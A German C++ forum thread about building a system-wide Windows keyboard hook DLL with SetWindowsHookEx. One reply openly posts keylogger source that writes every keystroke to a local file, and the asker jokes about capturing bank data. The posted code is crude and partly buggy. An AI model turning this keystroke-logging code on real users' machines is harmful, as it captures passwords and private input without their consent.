C++ Systemweiter Keyboard Hook



  • Hey liebes Forum.
    Ich wollte mich mal mit systemweiten Hooks auseinander setzen und bin nach stundenlangem Suchen noch nicht unbedingt weit.
    Die SuFu habe ich bereits benutzt und bei Google gesucht, jedoch nichts gefunden (was nicht mit MFC zu tun hatte).

    Die DLL aufrufen klappt zwar, aber die Funktion, die ausgelöst werden sollte, wenn die DLL an einen Prozess attached wird, wird nicht aufgerufen. Daher muss ich die HINSTANCE über die Funktion InstallHook mitgeben und das stört iwie schon.
    Der Code der DLL ist eigentlich schon fertig, das einzige, woran ich noch frickeln muss, ist die EXE.

    Das Aufrufen der DLL klappt nur habe ich leider keine Ahnung, wie ich die Funktionen aus der DLL aufrufen kann.
    Dazu kommt, dass, so wie es jetzt (einigermaßen) klappt, der Hook nicht systemweit ist, sondern nur procct, wenn das Fenster im Vordergrund ist.

    Hat jemand vielleicht ein gutes Tut da (welches nicht auf MFC basiert o_O)?
    Ich poste auf Anfrage Quellcode.

    Vielen Dank schon im Voraus!
    MFG DerCoder 🙂



  • DerCoder schrieb:

    Ich poste auf Anfrage Quellcode.

    Poste beides, DLL + EXE.



  • //dll.h
    #ifdef KEYDLL3_EXPORTS
    #define KEYDLL3_API __declspec (dllexport)
    #else
    #define KEYDLL3_API __declspec (dllimport)
    #endif
    
    KEYDLL3_API BOOL installhook (HWND,HINSTANCE);
    KEYDLL3_API void removehook ();
    KEYDLL3_API LRESULT CALLBACK hookproc (int ncode, WPARAM wparam, LPARAM lparam);
    
    //dllmain.cpp
    #define KEYDLL3_EXPORTS
    #include <windows.h>
    #include "dll.h"
    
    #pragma data_seg (".HOOKDATA")
    HHOOK hook = NULL;
    HWND hwnd = NULL;
    #pragma data_seg ()
    
    #pragma comment(linker, "/SECTION:.HOOKDATA,RWS")
    HINSTANCE hinstance = NULL;
    BOOL APIENTRY DllMain (HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
    {
        switch (ul_reason_for_call)
        {
            case DLL_PROCESS_ATTACH:
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    	    break;
        }
        hinstance = (HINSTANCE)hModule;
        hook = NULL;
        return TRUE;
    } // <- Diese Funktion wird nicht aufgerufen, wenn ich LoadLibrary aufrufe
    
    KEYDLL3_API BOOL installhook (HWND h, HINSTANCE hInst)
    {
        hook = NULL;
        hwnd = h;
        hinstance = hInst;
        hook = SetWindowsHookEx (WH_KEYBOARD, hookproc, hinstance, NULL);
        if (hook == NULL)
            return FALSE;
        return TRUE;
    }
    
    KEYDLL3_API void removehook()
    {
        UnhookWindowsHookEx (hook);
    }
    
    KEYDLL3_API LRESULT CALLBACK hookproc (int ncode, WPARAM wparam, LPARAM lparam)
    {
        if (ncode >= 0)
        {
            if ((lparam & 0x80000000) == 0x00000000)
            {
                PostMessage (hwnd, WM_USER + 123, wparam, lparam);
    	}
        }
        return (CallNextHookEx (hook, ncode, wparam, lparam));
    }
    
    //hookexe.cpp
    #include <windows.h>
    #include <iostream>
    typedef bool (CALLBACK *setHook)(HWND h, HINSTANCE hInst);
    typedef bool (CALLBACK *uniHook)(void);
    setHook InstallHook;
    uniHook UninstallHook;
    /*  Declare Windows procedure  */
    LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
    
    /*  Make the class name into a global variable  */
    char szClassName[ ] = "WindowsApp";
    
    int WINAPI WinMain (HINSTANCE hThisInstance,
                        HINSTANCE hPrevInstance,
                        LPSTR lpszArgument,
                        int nFunsterStil)
    {
        HWND hwnd;               /* This is the handle for our window */
        MSG messages;            /* Here messages to the application are saved */
        WNDCLASSEX wincl;        /* Data structure for the windowclass */
    
        InstallHook = NULL;
        UninstallHook = NULL;
    
    // [...........     // Simples Fenster anzeigen, nicht weiter wichtig
    // ...........]
    
        HINSTANCE hDLL = LoadLibrary ("kbdhook.dll");
        if (hDLL == NULL)
        {
            MessageBox(NULL, "Fehler", "", MB_OK);
            return FALSE;
        }
    
        InstallHook = (setHook) GetProcAddress(hDLL, "_Z11installhookP6HWND__P11HINSTANCE__"); 
        if (InstallHook == NULL)
        {
            MessageBox (NULL, "Fehler: InstallHook nicht gefunden", "", MB_OK);
            return FALSE;
        }
    
        UninstallHook = (uniHook) GetProcAddress(hDLL, "_Z10removehookv"); 
        if (UninstallHook == NULL)
        {
            MessageBox (NULL, "Fehler: UninstallHook nicht gefunden", "", MB_OK);
            return FALSE;
        }
    
        if (InstallHook (hwnd, hDLL))
            MessageBox (NULL, "successful", "", MB_OK);
        else
            MessageBox (NULL, "unsuccessful", "", MB_OK);
    
        while (GetMessage (&messages, NULL, 0, 0))
        {
            TranslateMessage(&messages);
            DispatchMessage(&messages);
        }
        UninstallHook ();
        FreeLibrary (hDLL);
        return EXIT_SUCCESS;
    }
    
    LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
        switch (message)                  /* handle the messages */
        {
            case WM_DESTROY:
                PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
                break;
            case WM_USER + 123:
                std::cout << (char) wParam;
                break;
            default:                      /* for messages that we don't deal with */
                return DefWindowProc (hwnd, message, wParam, lParam);
        }
        return 0;
    }
    

    Mittlerweile gibt mir die Konsole sogar Buchstaben aus, aber auch nur, wenn das Programm im Vordergrund ist.
    Außerdem sind sie alle Großbuchstaben und Sondertasten, wie Strg oder Esc werden als merkwürdige Zeichen dargestellt.
    Kann man mit dem Hook noch herausfinden, ob noch Alt, Strg oder Shift gedrückt ist? Und was ist mit Tastenkombinationen, wie Strg-Alt-Entf?

    MFG DerCoder



  • Hi

    GetAsyncKeyState()

    lowbyte



  • Hi

    Wie ich sehe bust du auch nur ein tutorial held! copy paste und gut! Weisst du was du da machst? Weisst du was ein keyboardhook ist ? bzw. was ein Hook macht und was ganz bestimmt nicht ?

    Wen du schon einen Keylogger schreiben willst schreib mal einen ohne dll ... das geht nähmlich auch wunderbar. Das mit der dll kannst du machen wen du erstmall verstanden hast wie man einen VKEY identfiziert.

    Be den meisten happert es einfach an grundwissen... kein Wunder das so viel Garbage Code herumschwirt !

    lowbyte (CCL)



  • Ja, ich weiß was ich mache. Ja, ich weiß, was ein Keyboard Hook ist und was er macht/nicht macht.

    Trotzdem vielen Dank für deine Bemühung zu posten.
    Mit GetAsyncKeyState habe ich leider nicht allzugute Erfahrungen und was das "copy paste" angeht... Bitte sag mir Bescheid, wenn du ein gut erklärendes Keyboard-Hook-Tutorial findest, was ohne MFC arbeitet...
    Danke.

    Außerdem läuft die Hook Variante schneller.



  • Hi

    Mal sleber studieren !
    Und wen du GetAsyncKeyState() verstehen würdest dan wäre ein keyboardhook für dich kein Problem.!

    GetAsyncKeyState() ist deine Solution, ansonsten kannste ihn ja in Assembler schreiben 🙂 aber wohl nix für dich 🙂

    lowbyte



  • Ja, in der Tat. Assembler wär nichts für mich 😉
    Soll in den Hook GetAsyncKeyState?!
    Soweit ich nicht irre, fragt GetAsyncKeyState nur den Status der Tasten ab. Also muss diese Funktion mehrmals aufgerufen werden. Der Hook reagiert aber nur dann, wenn eine Taste gedrückt wurde.



  • hi

    Etwa so:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    #pragma comment(linker, "/section:Shared,RWS")
    
    #pragma data_seg("Shared")
    HINSTANCE hinstanc;
    #pragma data_seg()
    
    HHOOK hkb;
    FILE *log;
    
    int WINAPI DllMain(HINSTANCE hins ,DWORD fdwr ,PVOID rwd)
    {
    
        switch (fdwr){
            case DLL_PROCESS_ATTACH :
                // Die DLL wird in den Adressraum des aktuellen Prozesses
                // eingeblendet.
                hinstanc = hins ;
                // Initialisierung der globalen Variable
                break ;
        }
    
    	return 1;
    
    }
    
    LRESULT CALLBACK KeyboardProc(int nCode ,WPARAM wParam ,LPARAM lParam )
    {
    	int character;
    
    	 for(character=8;character<=222;character++)  {
    		if(GetAsyncKeyState(character)==-32767)       {
    
    		log = fopen("c:\\kblog.txt","a+");
    
    			if(log==NULL) {
    				return 1;
    			}            
    
    			if((character>=39)&&(character<=64)) {
    				  fputc(character,log);
    				  fclose(log);
    				  break;
    			} else if((character>64)&&(character<91)) {
    				  character+=32;
    				  fputc(character,log);
    				  fclose(log);
    				  break;
    			} else {
    
    				switch(character) {
    
    					  case 187:
    					  fputc('+',log);
    					  fclose(log);
    					  break;
    					  case 188:
    					  fputc(',',log);
    					  fclose(log);
    					  break;
    					  case 189:
    					  fputc('-',log);
    					  fclose(log);
    					  break;
    					  case 190:
    					  fputc('.',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD0:
    					  fputc('0',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD1:
    					  fputc('1',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD2:
    					  fputc('2',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD3:
    					  fputc('3',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD4:
    					  fputc('4',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD5:
    					  fputc('5',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD6:
    					  fputc('6',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD7:
    					  fputc('7',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD8:
    					  fputc('8',log);
    					  fclose(log);
    					  break;
    					  case VK_NUMPAD9:
    					  fputc('9',log);
    					  fclose(log);
    					  break;
    					  case VK_CAPITAL:
    					  fputs("\r\n[CAPS LOCK]\r\n",log);
    					  fclose(log);
    					  break;
    					  case VK_SHIFT:
    					  fputs("\r\n[SHIFT]\r\n",log);
    					  fclose(log);
    					  case VK_SPACE:
    					  fputc(' ',log);
    					  fclose(log);
    					  break;    
    					  case VK_CONTROL:
    					  fputs("\r\n[CTRL]\r\n",log);
    					  fclose(log);
    					  break;
    					  break;                                            
    					  case VK_RETURN:
    					  fputs("\r\n[RETURN]\r\n",log);
    					  fclose(log);
    					  break;
    					  case VK_BACK:
    					  fputs("\r\n[BACKSPACE]\r\n",log);
    					  fclose(log);
    					  break;
    					  case VK_TAB:
    					  fputs("\r\n[TAB]\r\n",log);
    					  fclose(log);
    					  break;
    					  case VK_DELETE:
    					  fputs("\r\n[DELETE]\r\n",log);
    					  fclose(log);
    					  break;
    					  default:
    					  fclose(log);
    					  break;
    				}        
    			}        
    		}    
    	}                 
    
        return CallNextHookEx( hkb, nCode, wParam, lParam );
    }
    
    // Install Keyboard hook Function.
    EXPORT BOOL CALLBACK installhook()
    {
    	BOOL rc=0;
    
        hkb = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hinstanc,0);
    	if(hkb==NULL){
    		rc = 1;
    	} else {
    		rc = 0;
    	}
    
        return rc;
    }
    
    EXPORT BOOL CALLBACK uninstallhook()
    {
    
    	return UnhookWindowsHookEx(hkb);
    }
    

    lowbyte



  • Hi

    Ich will nicht falsch sein zu dir. Aber lies mal die msdn zu GetAsyncKeyState().

    Bitte dan wirst du es verstehen.

    lowbyte



  • Hi

    Nach eintritt des Hook, soll GetAsyncKeyState() ja erst ermitteln welche Taste den nun gedrückt worden ist.

    lowbyte



  • Hmm okay, vielen Dank.
    Ich denke, das Problem mit der Groß- und Kleinschreibung krieg ich hin.
    Ich hatte in keinem anderen globalen Keyhook die Funktion GetAsyncKeyState gefunden. Gibt es keine andere Lösung?



  • Hi

    Wenn du ein Keylogger schreiben willst dan benutze einfach ein GetAsyncKeyState(), ohne dll. und hook ! Das funktioniert nähmlich wunderbar!
    Ohne globalen Key Hook mit dll!

    Wenn du jetz den key ermitteln willst und in dann manipulieren, dann brauchst du ein Globalen keyHook um in dan in der liste weiterzugeben.

    lowbyte



  • Hmm okay... Und hast du auch ne Idee, wie ich verhindern kann, dass bestimmte Tastendrücke von Windows empfangen werden?
    Bei AutoIt geht das, wenn man als ShortCut z.B. F1 einstellt, wird F1 nicht mehr an das Vordergrundfenster gesandt.



  • Hi

    Für was brauchst du sowas ?
    Sind hier kein Forum für möchtegern H0ckxr! Nicht persönlich nehmen.

    lowbyte



  • Nun. Ich versuche mit dem Keylogger Bankdaten auszuspähen 😉
    Naja, nicht so ganz, aber ich finde es ziemlich interessant, wie weit man mit C++ ins System eingreifen kann.



  • Ööhm achja..
    Wenn ich die Dll aufrufe sollte doch eigentlich die Funktion

    int WINAPI DllMain (HINSTANCE hins, DWORD fdwr, PVOID rwd)
    

    aufgerufen werden, oder etwa nicht?
    Bei mir ist das nicht der Fall -.-



  • Hmm. Ich habs hinbekommen, trotzdem danke für die Hilfe o_O
    Bei Dev-C++ das Dll Projekt als C-Projekt erstellen, nicht als C++-Projekt.



  • Hi

    Ja also von dem bin ich ausgegangen. Wie willst du sonnst eine dll erstellen ?

    lowbyte



  • DerCoder schrieb:

    Ich hatte in keinem anderen globalen Keyhook die Funktion GetAsyncKeyState gefunden. Gibt es keine andere Lösung?

    Doch! GetAsyncKeyState wird zurecht in keinem Hook-Tutorial verwendet, weil es dort nix verloren hat und schlicht überflüssig ist. Schau einfach mal was die Doku zur KeyboardProc sagt. In lParam steht nämlich schon welcher Modifier gedrückt ist (Alt, Ctrl) oder auch ob der Numlock verwendet wurde. Und der Code, der Tastaturcodes auf ASCIIs mapt, ist mindestens grausig.

    DerCoder schrieb:

    Hmm okay... Und hast du auch ne Idee, wie ich verhindern kann, dass bestimmte Tastendrücke von Windows empfangen werden?

    Ganz einfach: KeyboardProc gibt "-1" zurück (Achtung: es funktioniert dann keine Taste mehr solange das Programm läuft). Du kannst natürlich prüfen welche Taste gedrückt wurde, und nur bei bestimmten Tasten -1 zurückgeben.

    DerCoder schrieb:

    Hmm. Ich habs hinbekommen, trotzdem danke für die Hilfe o_O
    Bei Dev-C++ das Dll Projekt als C-Projekt erstellen, nicht als C++-Projekt.

    Die IDE solltest du nicht mehr verwenden, besser MinGW mit CodeBlocks oder MS Visual C++ Express.


Anmelden zum Antworten